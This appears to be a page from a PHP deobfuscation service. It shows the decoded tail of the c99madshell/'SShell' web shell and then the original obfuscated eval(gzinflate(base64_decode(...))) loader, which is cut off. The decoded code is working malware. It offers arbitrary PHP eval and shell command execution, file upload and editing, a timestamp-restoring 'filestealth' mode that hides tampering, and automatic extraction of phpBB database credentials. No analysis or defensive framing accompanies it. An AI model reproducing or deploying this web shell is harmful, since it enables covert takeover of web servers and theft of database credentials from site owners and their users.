convert_cyr_string($ret,"d","w"); $stack = explode("
",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode(" ",$stack[0]); $head[1] = explode(" ",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."a\"';document.todo.submit();\">!</a>";} else {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."d\"';document.todo.submit();\">!</a>";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i<count($head);$i++) { if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$i.$parsesort[1]."a\"';document.todo.submit();\"><b>".trim($head[$i])."</b></a>";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo "<tr>"; $line = explode(" ",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(" ","",$line[2]))*1024; $prcs[] = $line; echo "</tr>"; } } } $head[$k] = "<b>".$head[$k]."</b>".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; foreach($tab as $i=>$k) { echo "<tr>"; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} echo "</tr>"; } echo "</table>"; } } if ($act == "eval") { if (!empty($eval)) { echo "<b>Result of execution this PHP-code</b>:<br>"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("
",$ret))+1; if ($rows < 10) {$rows = 10;} echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; } else {echo $ret."<br>";} } else { if ($eval_txt) { echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; eval($eval); echo "</textarea>"; } else {echo $ret;} } @chdir($olddir); } else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; } if ($act == "f") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("DIZ","info"), array("HTML","html"), array("TXT","txt"), array("Code","code"), array("Session","phpsess"), array("EXE","exe"), array("SDB","sdb"), array("INI","ini"), array("DOWNLOAD","download"), array("RTF","notepad"), array("EDIT","edit") ); echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; foreach($arr as $t) { if ($t[1] == $rft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><font color=green>".$t[0]."</font></a>";} elseif ($t[1] == $ft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b><u>".$t[0]."</u></b></a>";} else {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";} echo " |"; } echo "<hr size=\"1\" noshade>"; if ($ft == "info") { echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; if (!$win) { echo "<tr><td><b>Owner/Group</b></td><td> "; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.f.value='".urlencode($f)."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000<br>"; $a1 = ""; $a2 = ""; for ($i=0; $i<strlen($str); $i++) { $a1 .= sprintf("%02X",ord($str[$i]))." "; switch (ord($str[$i])) { case 0: $a2 .= "<font>0</font>"; break; case 32: case 10: case 13: $a2 .= "&nbsp;"; break; default: $a2 .= htmlspecialchars($str[$i]); } $n++; if ($n == $hexdump_rows) { $n = 0; if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} $a1 .= "<br>"; $a2 .= "<br>"; } } echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; } $encoded = ""; if ($base64 == 1) { echo "<b>Base64 Encode</b><br>"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "<b>Base64 Encode + Chunk</b><br>"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "<b>Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "</b><br>"; } if (!empty($encoded)) { echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; } echo "<b>HEXDUMP:</b><nobr> [<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.fullhexdump.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Full</a>] [<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Preview</a>]<br><b>Base64: </b> <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Encode</a>]&nbsp;</nobr> <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='2';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">+chunk</a>]&nbsp;</nobr> <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='3';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">+chunk+quotes</a>]&nbsp;</nobr> <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='4';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Decode</a>]&nbsp;</nobr> <P>"; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {c99shexit();} } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} elseif ($ft == "phpsess") { echo "<pre>"; $v = explode("|",$r); echo $v[0]."<br>"; var_dump(unserialize($v[1])); echo "</pre>"; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "<b>Execute file:</b><form method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; } elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("
",$r); if (count($arr == 18)) { include($d.$f); echo "<b>phpBB configuration is detected in this file!<br>"; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($dbuser)."';document.sql.sql_passwd.value='".htmlspecialchars($dbpasswd)."';document.sql.sql_server.value='".htmlspecialchars($dbhost)."';document.sql.sql_port.value='3306';document.sql.sql_db.value='".htmlspecialchars($dbname)."';document.sql.submit();\"><b><u>Connect to DB</u></b></a><br><br>";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99madshell. Please, report us for fix.";} echo "Parameters for manual connect:<br>"; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} echo "</b><hr size=\"1\" noshade>"; } } echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {c99shexit();} echo "</div>"; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "notepad") { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == "edit") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "<b>Can't write to file!</b>";} else { echo "<b>Saved!</b>"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("
",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; } elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} } } if ($act == "about") {echo "<center><b>Webbased shell for administration your resources</b>";} echo"</td></tr></table><a bookmark=\"minipanel\"><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=1 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" height=1 valign=\"top\" colspan=2><p align=\"center\"><b>:: <a href=\"#\" onclick=\"document.todo.act.value='cmd';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>Command execute</b></a> ::</b></p></td></tr> <tr><td width=\"50%\" height=1 valign=\"top\"><center><b>Enter: </b><form method=\"POST\"><input type=hidden name=act value=\"cmd\"><input type=hidden name=\"d\" value=\"{$dispd}\"><input type=\"text\" name=\"cmd\" size=50 value=\"".htmlspecialchars($cmd)."\"><input type=hidden name=\"cmd_txt\" value=1>&nbsp;<input type=submit name=submit value=\"Execute\"></form></td><td width=\"50%\" height=1 valign=\"top\"><center><b>Select: </b><form method=\"POST\"><input type=hidden name=act value=\"cmd\"><input type=hidden name=\"d\" value=\"{$dispd}\"><select name=\"cmd\">"; foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} echo"</select><input type=hidden name=\"cmd_txt\" value=1>&nbsp;<input type=submit name=submit value=\"Execute\"></form></td></tr></TABLE> <br> <TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=1 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1> <tr> <td width=\"50%\" height=1 valign=\"top\"><center><b>:: <a href=\"#\" onclick=\"document.todo.act.value='search';document.todo.submit();\"><b>Search</b></a> ::</b><form method=\"POST\"><input type=hidden name=act value=\"search\"><input type=hidden name=\"d\" value=\"{$dispd}\"><input type=\"text\" name=\"search_name\" size=29 value=\"(.*)\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" checked> - regexp&nbsp;<input type=submit name=submit value=\"Search\"></form></center></p></td> <td width=\"50%\" height=1 valign=\"top\"><center><b>:: <a href=\"#\" onclick=\"document.todo.act.value='upload';document.todo.submit();\"><b>Upload</b></a> ::</b><form method=\"POST\" ENCTYPE=\"multipart/form-data\"><input type=hidden name=act value=\"upload\"><input type=\"file\" name=\"uploadfile\"><input type=hidden name=\"miniform\" value=1>&nbsp;<input type=submit name=submit value=\"Upload\"><br>{$wdt}</form></center></td> </tr> </table> <br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=1 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"50%\" height=1 valign=\"top\"><center><b>:: Make Dir ::</b><form method=\"POST\"><input type=hidden name=act value=\"mkdir\"><input type=hidden name=\"d\" value=\"{$dispd}\"><input type=\"text\" name=\"mkdir\" size=50 value=\"{$dispd}\">&nbsp;<input type=submit value=\"Create\"><br>{$wdt}</form></center></td><td width=\"50%\" height=1 valign=\"top\"><center><b>:: Make File ::</b><form method=\"POST\"><input type=hidden name=act value=\"mkfile\"><input type=hidden name=\"d\" value=\"{$dispd}\"><input type=\"text\" name=\"mkfile\" size=50 value=\"{$dispd}\"><input type=hidden name=\"ft\" value=\"edit\">&nbsp;<input type=submit value=\"Create\"><br>{$wdt}</form></center></td></tr></table> <br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=1 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"50%\" height=1 valign=\"top\"><center><b>:: Go Dir ::</b><form method=\"POST\"><input type=hidden name=act value=\"ls\"><input type=\"text\" name=\"d\" size=50 value=\"{$dispd}\">&nbsp;<input type=submit value=\"Go\"></form></center></td><td width=\"50%\" height=1 valign=\"top\"><center><b>:: Go File ::</b><form method=\"POST\"><input type=hidden name=act value=\"gofile\"><input type=hidden name=\"d\" value=\"{$dispd}\"><input type=\"text\" name=\"f\" size=50 value=\"{$dispd}\">&nbsp;<input type=submit value=\"Go\"></form></center></td></tr></table> <br><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=990 height=1 valign=\"top\"><p align=\"center\"><b>--[ SShell v. {$shver}<a href=\"#\" OnClick=\"document.todo.act.value='about';document.todo.submit();\"> </a>| <a href=\"http://no.net\"><font color=\"#FF0000\">http://no.net</font></a><font color=\"#FF0000\"></font> | Generation time: ".round(getmicrotime()-starttime,4)." ]--</b></p></td></tr></table> </body></html>"; chdir($lastdir); c99shexit();

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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